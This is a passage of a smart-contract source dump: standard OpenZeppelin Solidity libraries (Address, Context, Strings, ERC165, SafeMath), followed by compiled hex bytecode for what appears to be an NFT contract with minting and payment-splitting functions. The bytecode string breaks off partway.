uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
0x6080604052600436106102815760003560e01c806370a082311161014f578063a2d45bb3116100c1578063de8b51e11161007a578063de8b51e1146109e4578063e33b7de3146109fb578063e8a3d48514610a26578063e985e9c514610a51578063f0292a0314610a8e578063f2fde38b14610ab9576102c8565b8063a2d45bb3146108c4578063b88d4fde146108ed578063c002d23d14610916578063c5b8426214610941578063c87b56dd1461096a578063ce7c2ac2146109a7576102c8565b80638b83209b116101135780638b83209b146107af5780638da5cb5b146107ec57806395d89b41146108175780639852595c14610842578063a0712d681461087f578063a22cb4651461089b576102c8565b806370a08231146106f0578063714cff561461072d578063715018a6146107585780637fd6a22b1461076f578063853828b614610798576102c8565b806332fac36f116101f35780635df9115e116101ac5780635df9115e146105de5780635f74da5c146106095780636352211e1461063457806368428a1b14610671578063690e7c091461069c5780636ba90c6e146106c5576102c8565b806332fac36f146104d257806335d09022146104fb5780633a98ef391461052457806342842e0e1461054f578063429ad0e9146105785780634f6ccce7146105a1576102c8565b806318160ddd1161024557806318160ddd146103c457806319165587146103ef57806323b872dd146104185780632cd83669146104415780632f745c591461046a57806332cb6b0c146104a7576102c8565b806301ffc9a7146102cd57806303339bcb1461030a57806306fdde0314610333578063081812fc1461035e578063095ea7b31461039b576102c8565b366102c8577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be7706102af610ae2565b346040516102be929190614a45565b60405180910390a1005b600080fd5b3480156102d957600080fd5b506102f460048036038101906102ef9190613d73565b610aea565b6040516103019190614a6e565b60405180910390f35b34801561031657600080fd5b50610331600480360381019061032c9190613e2f565b610afc565b005b34801561033f57600080fd5b50610348610be6565b6040516103559190614aa4565b60405180910390f35b34801561036a57600080fd5b5061038560048036038101906103809190613e06565b610c78565b60405161039291906149b5565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd9190613cc9565b610cfd565b005b3480156103d057600080fd5b506103d9610e15565b6040516103e69190614e66565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190613b5e565b610e22565b005b34801561042457600080fd5b5061043f600480360381019061043a9190613bc3565b61108a565b005b34801561044d57600080fd5b5061046860048036038101906104639190613dc5565b6110ea565b005b34801561047657600080fd5b50610491600480360381019061048c9190613cc9565b6111f6565b60405161049e9190614e66565b60405180910390f35b3480156104b357600080fd5b506104bc61129b565b6040516104c99190614e66565b60405180910390f35b3480156104de57600080fd5b506104f960048036038101906104f49190613dc5565b6112a1565b005b34801561050757600080fd5b50610522600480360381019061051d9190613dc5565b6113ad565b005b34801561053057600080fd5b50610539611443565b6040516105469190614e66565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190613bc3565b61144d565b005b34801561058457600080fd5b5061059f600480360381019061059a9190613d4a565b61146d565b005b3480156105ad57600080fd5b506105c860048036038101906105c39190613e06565b611579565b6040516105d59190614e66565b60405180910390f35b3480156105ea57600080fd5b506105f3611610565b6040516106009190614e66565b60405180910390f35b34801561061557600080fd5b5061061e611616565b60405161062b9190614e66565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190613e06565b61161c565b60405161066891906149b5565b60405180910390f35b34801561067d57600080fd5b506106866116ce565b6040516106939190614a6e565b60405180910390f35b3480156106a857600080fd5b506106c360048036038101906106be9190613e06565b6116e5565b005b3480156106d157600080fd5b506106da6117f8565b6040516106e79190614e66565b60405180910390f35b3480156106fc57600080fd5b5061071760048036038101906107129190613b35565b6117fe565b6040516107249190614e66565b60405180910390f35b34801561073957600080fd5b506107426118b6565b60405161074f9190614e66565b60405180910390f35b34801561076457600080fd5b5061076d6118c0565b005b34801561077b57600080fd5b5061079660048036038101906107919190613dc5565b611948565b005b3480156107a457600080fd5b506107ad6119de565b005b3480156107bb57600080fd5b506107d660048036038101906107d19190613e06565b611aed565b6040516107e391906149b5565b60405180910390f35b3480156107f857600080fd5b50610801611b5b565b60405161080e91906149b5565b60405180910390f35b34801561082357600080fd5b5061082c611b85565b6040516108399190614aa4565b60405180910390f35b34801561084e57600080fd5b5061086960048036038101906108649190613b35565b611c17565b6040516108769190614e66565b60405180910390f35b61089960048036038101906108949190613e06565b611c60565b005b3480156108a757600080fd5b506108c260048036038101906108bd9190613c8d565b611d51565b005b3480156108d057600080fd5b506108eb60048036038101906108e69190613d05565b611ed2565b005b3480156108f957600080fd5b50610914600480360381019061090f9190613c12565b6120fe565b005b34801561092257600080fd5b5061092b612160565b6040516109389190614e66565b60405180910390f35b34801561094d57600080fd5b5061096860048036038101906109639190613dc5565b612166565b005b34801561097657600080fd5b50610991600480360381019061098c9190613e06565b612272565b60405161099e9190614aa4565b60405180910390f35b3480156109b357600080fd5b506109ce60048036038101906109c99190613b35565b61234e565b6040516109db9190614e66565b60405180910390f35b3480156109f057600080fd5b506109f9612397565b005b348015610a0757600080fd5b50610a1061243f565b604051610a1d9190614e66565b60405180910390f35b348015610a3257600080fd5b50610a3b612449565b604051610a489190614aa4565b60405180910390f35b348015610a5d57600080fd5b50610a786004803603810190610a739190613b87565b6124db565b604051610a859190614a6e565b60405180910390f35b348015610a9a57600080fd5b50610aa361256f565b604051610ab09190614e66565b60405180910390f35b348015610ac557600080fd5b50610ae06004803603810190610adb9190613b35565b612575565b005b600033905090565b6000610af58261266d565b9050919050565b610b04610ae2565b73ffffffffffffffffffffffffffffffffffffffff16610b22611b5b565b73ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f90614d86565b60405180910390fd5b60135460195410610bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb590614cc6565b60405180910390fd5b610bc882826126e7565b600160196000828254610bdb9190614f7e565b925050819055505050565b606060008054610bf59061519b565b80601f0160208091040260200160405190810160405280929190818152602001828054610c219061519b565b8015610c6e5780601f10610c4357610100808354040283529160200191610c6e565b820191906000526020600020905b815481529060010190602001808311610c5157829003601f168201915b5050505050905090565b6000610c8382612781565b610cc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb990614d66565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610d088261161c565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7090614de6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610d98610ae2565b73ffffffffffffffffffffffffffffffffffffffff161480610dc75750610dc681610dc1610ae2565b6124db565b5b610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd90614ce6565b60405180910390fd5b610e1083836127ed565b505050565b6000600880549050905090565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9b90614ba6565b60405180910390fd5b6000600c5447610eb49190614f7e565b90506000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600b54600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610f469190615005565b610f509190614fd4565b610f5a919061505f565b90506000811415610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9790614ca6565b60405180910390fd5b80600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610feb9190614f7e565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600c5461103c9190614f7e565b600c8190555061104c83826128a6565b7fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056838260405161107d9291906149d0565b60405180910390a1505050565b61109b611095610ae2565b8261299a565b6110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d190614e06565b60405180910390fd5b6110e5838383612a78565b505050565b6110f2610ae2565b73ffffffffffffffffffffffffffffffffffffffff16611110611b5b565b73ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90614d86565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663938e3d7b826040518263ffffffff1660e01b81526004016111c19190614aa4565b600060405180830381600087803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b5050505050565b6000611201836117fe565b8210611242576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123990614ac6565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b60125481565b6112a9610ae2565b73ffffffffffffffffffffffffffffffffffffffff166112c7611b5b565b73ffffffffffffffffffffffffffffffffffffffff161461131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490614d86565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330176e13826040518263ffffffff1660e01b81526004016113789190614aa4565b600060405180830381600087803b15801561139257600080fd5b505af11580156113a6573d6000803e3d6000fd5b5050505050565b6113b5610ae2565b73ffffffffffffffffffffffffffffffffffffffff166113d3611b5b565b73ffffffffffffffffffffffffffffffffffffffff1614611429576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142090614d86565b60405180910390fd5b80601b908051906020019061143f9291906138e5565b5050565b6000600b54905090565b611468838383604051806020016040528060008152506120fe565b505050565b611475610ae2565b73ffffffffffffffffffffffffffffffffffffffff16611493611b5b565b73ffffffffffffffffffffffffffffffffffffffff16146114e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e090614d86565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d3e00f31826040518263ffffffff1660e01b81526004016115449190614a89565b600060405180830381600087803b15801561155e57600080fd5b505af1158015611572573d6000803e3d6000fd5b5050505050565b6000611583610e15565b82106115c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bb90614e26565b60405180910390fd5b600882815481106115fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b60105481565b60155481565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc90614d26565b60405180910390fd5b80915050919050565b6000601c60009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff166117058261161c565b73ffffffffffffffffffffffffffffffffffffffff161461175b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175290614e46565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394bf804d601554336040518363ffffffff1660e01b81526004016117ba929190614e81565b600060405180830381600087803b1580156117d457600080fd5b505af11580156117e8573d6000803e3d6000fd5b505050506117f581612cd4565b50565b60135481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561186f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186690614d06565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000601854905090565b6118c8610ae2565b73ffffffffffffffffffffffffffffffffffffffff166118e6611b5b565b73ffffffffffffffffffffffffffffffffffffffff161461193c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193390614d86565b60405180910390fd5b6119466000612de5565b565b611950610ae2565b73ffffffffffffffffffffffffffffffffffffffff1661196e611b5b565b73ffffffffffffffffffffffffffffffffffffffff16146119c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bb90614d86565b60405180910390fd5b80601a90805190602001906119da9291906138e5565b5050565b6119e6610ae2565b73ffffffffffffffffffffffffffffffffffffffff16611a04611b5b565b73ffffffffffffffffffffffffffffffffffffffff1614611a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5190614d86565b60405180910390fd5b60005b601780549050811015611aea57611ad760178281548110611aa7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e22565b8080611ae2906151cd565b915050611a5d565b50565b6000600f8281548110611b29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054611b949061519b565b80601f0160208091040260200160405190810160405280929190818152602001828054611bc09061519b565b8015611c0d5780601f10611be257610100808354040283529160200191611c0d565b820191906000526020600020905b815481529060010190602001808311611bf057829003601f168201915b5050505050905090565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601154811115611ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9c90614b86565b60405180910390fd5b80601454611cb39190615005565b341015611cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cec90614b66565b60405180910390fd5b601c60009054906101000a900460ff16611d44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3b90614c26565b60405180910390fd5b611d4e81336126e7565b50565b611d59610ae2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbe90614c06565b60405180910390fd5b8060056000611dd4610ae2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611e81610ae2565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611ec69190614a6e565b60405180910390a35050565b601154828290501115611f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1190614be6565b60405180910390fd5b60005b82829050811015611ff0573373ffffffffffffffffffffffffffffffffffffffff16611f87848484818110611f7b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002013561161c565b73ffffffffffffffffffffffffffffffffffffffff1614611fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd490614e46565b60405180910390fd5b8080611fe8906151cd565b915050611f1d565b50601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394bf804d838390506015546120409190615005565b336040518363ffffffff1660e01b815260040161205e929190614e81565b600060405180830381600087803b15801561207857600080fd5b505af115801561208c573d6000803e3d6000fd5b5050505060005b828290508110156120f9576120e68383838181106120da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135612cd4565b80806120f1906151cd565b915050612093565b505050565b61210f612109610ae2565b8361299a565b61214e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214590614e06565b60405180910390fd5b61215a84848484612eab565b50505050565b60145481565b61216e610ae2565b73ffffffffffffffffffffffffffffffffffffffff1661218c611b5b565b73ffffffffffffffffffffffffffffffffffffffff16146121e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d990614d86565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663750521f5826040518263ffffffff1660e01b815260040161223d9190614aa4565b600060405180830381600087803b15801561225757600080fd5b505af115801561226b573d6000803e3d6000fd5b5050505050565b606061227d82612781565b6122bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b390614dc6565b60405180910390fd5b601a80546122c99061519b565b80601f01602080910402602001604051908101604052809291908181526020018280546122f59061519b565b80156123425780601f1061231757610100808354040283529160200191612342565b820191906000526020600020905b81548152906001019060200180831161232557829003601f168201915b50505050509050919050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61239f610ae2565b73ffffffffffffffffffffffffffffffffffffffff166123bd611b5b565b73ffffffffffffffffffffffffffffffffffffffff1614612413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240a90614d86565b60405180910390fd5b601c60009054906101000a900460ff1615601c60006101000a81548160ff021916908315150217905550565b6000600c54905090565b6060601b80546124589061519b565b80601f01602080910402602001604051908101604052809291908181526020018280546124849061519b565b80156124d15780601f106124a6576101008083540402835291602001916124d1565b820191906000526020600020905b8154815290600101906020018083116124b457829003601f168201915b5050505050905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60115481565b61257d610ae2565b73ffffffffffffffffffffffffffffffffffffffff1661259b611b5b565b73ffffffffffffffffffffffffffffffffffffffff16146125f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e890614d86565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612661576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265890614b06565b60405180910390fd5b61266a81612de5565b50565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806126e057506126df82612f07565b5b9050919050565b601254826018546126f89190614f7e565b10612738576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272f90614b46565b60405180910390fd5b60005b8281101561277c5761274f82601854612fe9565b6001601860008282546127629190614f7e565b925050819055508080612774906151cd565b91505061273b565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166128608361161c565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b804710156128e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e090614c66565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff168260405161290f906149a0565b60006040518083038185875af1925050503d806000811461294c576040519150601f19603f3d011682016040523d82523d6000602084013e612951565b606091505b5050905080612995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298c90614c46565b60405180910390fd5b505050565b60006129a582612781565b6129e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129db90614c86565b60405180910390fd5b60006129ef8361161c565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612a5e57508373ffffffffffffffffffffffffffffffffffffffff16612a4684610c78565b73ffffffffffffffffffffffffffffffffffffffff16145b80612a6f5750612a6e81856124db565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612a988261161c565b73ffffffffffffffffffffffffffffffffffffffff1614612aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ae590614da6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5590614bc6565b60405180910390fd5b612b69838383613007565b612b746000826127ed565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612bc4919061505f565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c1b9190614f7e565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1